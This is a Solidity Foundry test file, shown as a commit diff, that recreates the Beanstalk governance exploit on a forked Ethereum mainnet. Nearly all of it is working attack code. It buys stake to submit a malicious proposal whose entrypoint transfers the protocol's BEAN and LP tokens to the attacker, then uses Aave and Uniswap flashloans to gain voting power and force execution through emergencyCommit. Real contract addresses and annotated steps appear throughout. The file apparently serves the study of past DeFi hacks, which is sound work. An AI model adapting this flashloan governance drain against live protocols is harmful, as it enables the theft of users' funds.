1+ // SPDX-License-Identifier: MIT
2+ pragma solidity ^ 0.8.17 ;
3+
4+ import {IERC20 } from "../../interfaces/IERC20.sol " ;
5+ import "forge-std/Test.sol " ;
6+ import {TestHarness} from "../../TestHarness.sol " ;
7+ import "./Interfaces.sol " ;
8+
9+ contract Beanstattack {
10+
11+ IBeanStalk private constant beanstalk = IBeanStalk (0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5 );
12+ IERC20 private constant bean = IERC20 (0xDC59ac4FeFa32293A95889Dc396682858d52e5Db );
13+ IAaveLendingPool private constant aave = IAaveLendingPool (0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9 );
14+ IUniswapV2Router02 private constant uniswap = IUniswapV2Router02 (payable (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ));
15+ IUniswapV2Factory private constant factory = IUniswapV2Factory (0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f );
16+ IERC20 private constant weth = IERC20 (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 );
17+ ICurvePool private constant crvbean = ICurvePool (0x3a70DfA7d2262988064A2D051dd47521E43c9BdD );
18+ IERC20 private constant crv = IERC20 (0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490 );
19+ ICurvePool private constant crvpool = ICurvePool (0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7 );
20+
21+ function propose () external payable {
22+ // proposing the bip requires a stake
23+ // this money must be owned when preparing the attack
24+ bean.approve (address (beanstalk), type (uint256 ).max);
25+
26+ address [] memory path = new address [](2 );
27+ path[0 ] = uniswap.WETH ();
28+ path[1 ] = address (bean); //we need bean tokens
29+ uniswap.swapExactETHForTokens {value: 100 ether }(0 , path, address (this ), block .timestamp + 1 );
30+
31+ //depositing into bean
32+ beanstalk.depositBeans (bean.balanceOf (address (this )));
33+
34+ //the proposal is just calling the entrypoint function at this contract address
35+ //this will be performed using a delegate call from the beanstalk silo
36+ IBeanStalk.FacetCut[] memory cut = new IBeanStalk.FacetCut [](0 );
37+ bytes memory data = abi.encodeWithSelector (Beanstattack.entrypoint.selector );
38+ beanstalk.propose (cut, address (this ), data, 3 );
39+ }
40+
41+ function entrypoint () external {
42+ //Don't use storage here as this is called though delegateCall
43+ //Here we have msg.sender as the attacker and this as the victim
44+ address token = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD ; //BEAN 3CRV
45+ IERC20 (token).transfer (msg .sender , IERC20 (token).balanceOf (address (this )));
46+
47+ token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D ; //BEANLUSD
48+ IERC20 (token).transfer (msg .sender , IERC20 (token).balanceOf (address (this )));
49+
50+ token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db ; //BEAN
51+ IERC20 (token).transfer (msg .sender , IERC20 (token).balanceOf (address (this )));
52+
53+ token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371 ; //UNI-BEAN
54+ IERC20 (token).transfer (msg .sender , IERC20 (token).balanceOf (address (this )));
55+ }
56+
57+ function attack () external {
58+ //Approvals
59+ //we need to deposit in crv liquidity pool and also approve aave so it can recover the funds
60+ //after the flashloan
61+ //approvals could be performed later, but there's no real benefit on it
62+ address [] memory addresses = new address [](2 );
63+ addresses[0 ] = address (crvpool);
64+ addresses[1 ] = address (aave);
65+
66+ address [] memory tokens = new address [](3 );
67+ tokens[0 ] = address (0x6B175474E89094C44Da98b954EedeAC495271d0F ); //DAI
68+ tokens[1 ] = address (0xdAC17F958D2ee523a2206206994597C13D831ec7 ); //USDT
69+ tokens[2 ] = address (0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 ); //USDC
70+
71+ for (uint i = 0 ; i < addresses.length ; i++ ) {
72+ address a = addresses[i];
73+ //USDT fails when calling approve, so we use a low level call
74+ bytes memory data = abi.encodeWithSelector (bean.approve.selector , a, type (uint256 ).max);
75+ for (uint j = 0 ; j < tokens.length ; j++ ) {
76+ address token = tokens[j];
77+ token.call (data);
78+ }
79+ }
80+
81+ //Aave flashloan - 350M DAI / 150M USDT / 500M USDC
82+ //Values used by the attacker
83+ uint256 [] memory amounts = new uint256 [](3 );
84+ amounts[0 ] = 350000000 ;
85+ amounts[1 ] = 150000000 ;
86+ amounts[2 ] = 500000000 ;
87+
88+ //decimals could be included above for saving gas, this is probably clearer
89+ for (uint256 i = 0 ; i < 3 ; i++ ) {
90+ amounts[i] = amounts[i] * (10 ** uint256 (IERC20 (tokens[i]).decimals ()));
91+ }
92+ //aave flashloans work by calling executeOperation and leaving allowance so it can recoverd the requested tokens + premiums
93+ aave.flashLoan (address (this ), address [](tokens), amounts, new uint256 [](3 ), address (this ), new bytes (0 ), 0 );
94+
95+ uint256 balance = crv.balanceOf (address (this ));
96+ crvpool.remove_liquidity_one_coin (balance, 1 , 0 );
97+ }
98+
99+ //Aave flashloan callback
100+ function executeOperation (
101+ address [] calldata ,
102+ uint256 [] calldata amounts ,
103+ uint256 [] calldata premiums ,
104+ address ,
105+ bytes calldata
106+ ) external returns (bool ) {
107+ //Notice that the 3crv params have an order, which is not the case in uniswap
108+ uint256 [3 ] memory params3;
109+ params3[0 ] = amounts[0 ];
110+ params3[1 ] = amounts[2 ]; //Inverted
111+ params3[2 ] = amounts[1 ];
112+
113+ //we add liquidity to 3curve pools so we can later get
114+ //crvbeans for depositing in beanstalk
115+ crvpool.add_liquidity (params3, uint256 (0 ));
116+
117+ //hardcoding this value could save some gas
118+ IUniswapV2Pair pair = IUniswapV2Pair (factory.getPair (address (bean), address (weth)));
119+ require (address (pair) != address (0 ), "Missing unswap v2 bean pair " );
120+
121+ //data parameter is used for identifying flash swaps vs normal swaps
122+ bytes memory data = abi.encodePacked (uint256 (1 ));
123+ pair.swap (0 , 10000000 * 10 ** bean.decimals (), address (this ), data);
124+
125+ //these values are needed by aave to recover the funds
126+ //calling remove_liquidity_one_coin without calling remove_liquidity_imbalance first
127+ //will return all the value in only one token
128+ params3[0 ] = amounts[0 ] + premiums[0 ];
129+ params3[1 ] = amounts[2 ] + premiums[2 ];
130+ params3[2 ] = amounts[1 ] + premiums[1 ];
131+ crvpool.remove_liquidity_imbalance (params3, type (uint256 ).max);
132+
133+ return true ;
134+ }
135+
136+ // Uniswap flashloan callback
137+ function uniswapV2Call (address , uint , uint amount , bytes calldata ) external {
138+ //We should check the sender if sushiswap is also used so we can change the behavior accordingly
139+ //TODO: add sushiswap
140+
141+ //Uniswap flashloan is not necessary for this attack.
142+ //It could be done with the aave flashloan only, but we leave the example here for reference
143+ //though the money of this flashloan is not used
144+ //It was probably done to make sure that the attacker would have enough voting power
145+ crv.approve (address (crvbean), type (uint256 ).max); //for add_liquidity
146+ crvbean.approve (address (beanstalk), type (uint256 ).max); //for deposit
147+
148+ //we are omitting here sushi flashloan for 11M LUSD
149+ uint256 [2 ] memory params2;
150+ params2[0 ] = 0 ;
151+ params2[1 ] = crv.balanceOf (address (this ));
152+ crvbean.add_liquidity (params2, 0 );
153+ beanstalk.deposit (address (crvbean), crvbean.balanceOf (address (this )));
154+ //We made our deposit in bean, we are ready to execute the bip
155+ beanstalk.emergencyCommit (18 );
156+
157+ crvbean.remove_liquidity_one_coin (crvbean.balanceOf (address (this )), 1 , 0 );
158+
159+ //uniswap has this fixed fee, it must be paid explicitely
160+ uint256 repay = 1 + amount + (amount * 3 ) / 997 ;
161+ //this contract would be vulnerable here
162+ //advance bots could take advantage of the next line and steal funds at this point
163+ //so it would be wise to protect it by checking that msg.sender == pair (the uniswap,
164+ //contract that returns getPair)
165+ bean.transfer (msg .sender , repay);
166+
167+ }
168+ }
169+
170+ contract Exploit_Beanstalk is Test {
171+ function setUp () public {
172+ vm.createSelectFork ("mainnet " , 14595000 ); //we register the proposal here and wait 1 full day
173+ vm.deal (address (this ), 100 ether);
174+ }
175+
176+ function test_attack () public {
177+ Beanstattack att = new Beanstattack ();
178+ att.propose {value: 100 ether }();
179+ vm.warp (block .timestamp + 1 days); //proposal can be executed now
180+ att.attack ();
181+
182+ //Stolen tokens should be converted into eth to remove third party intervention
183+ address token = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 ; //USDC
184+ require (IERC20 (token).balanceOf (address (att)) > 0 );
185+
186+ token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D ; //BEANLUSD
187+ require (IERC20 (token).balanceOf (address (att)) > 0 );
188+
189+ token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db ; //BEAN
190+ require (IERC20 (token).balanceOf (address (att)) > 0 );
191+
192+ token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371 ; //UNI-BEAN
193+ require (IERC20 (token).balanceOf (address (att)) > 0 );
194+ }
195+ }
0 commit comments